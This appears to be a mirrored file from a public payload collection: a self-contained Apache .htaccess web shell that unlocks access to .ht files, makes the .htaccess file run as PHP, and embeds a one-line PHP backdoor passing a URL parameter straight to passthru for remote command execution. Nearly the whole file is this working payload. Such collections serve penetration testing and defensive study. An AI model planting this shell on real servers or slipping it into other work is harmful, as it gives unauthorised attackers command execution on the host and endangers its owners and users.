mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-24 13:25:27 +00:00
15 lines
527 B
ApacheConf
15 lines
527 B
ApacheConf
# Self contained .htaccess web shell - Part of the htshell project
|
|
# Written by Wireghoul - http://www.justanotherhacker.com
|
|
|
|
# Override default deny rule to make .htaccess file accessible over web
|
|
<Files ~ "^\.ht">
|
|
Order allow,deny
|
|
Allow from all
|
|
</Files>
|
|
|
|
# Make .htaccess file be interpreted as php file. This occur after apache has interpreted
|
|
# the apache directoves from the .htaccess file
|
|
AddType application/x-httpd-php .htaccess
|
|
|
|
###### SHELL ###### <?php echo "\n";passthru($_GET['c']." 2>&1"); ?>###### LLEHS ######
|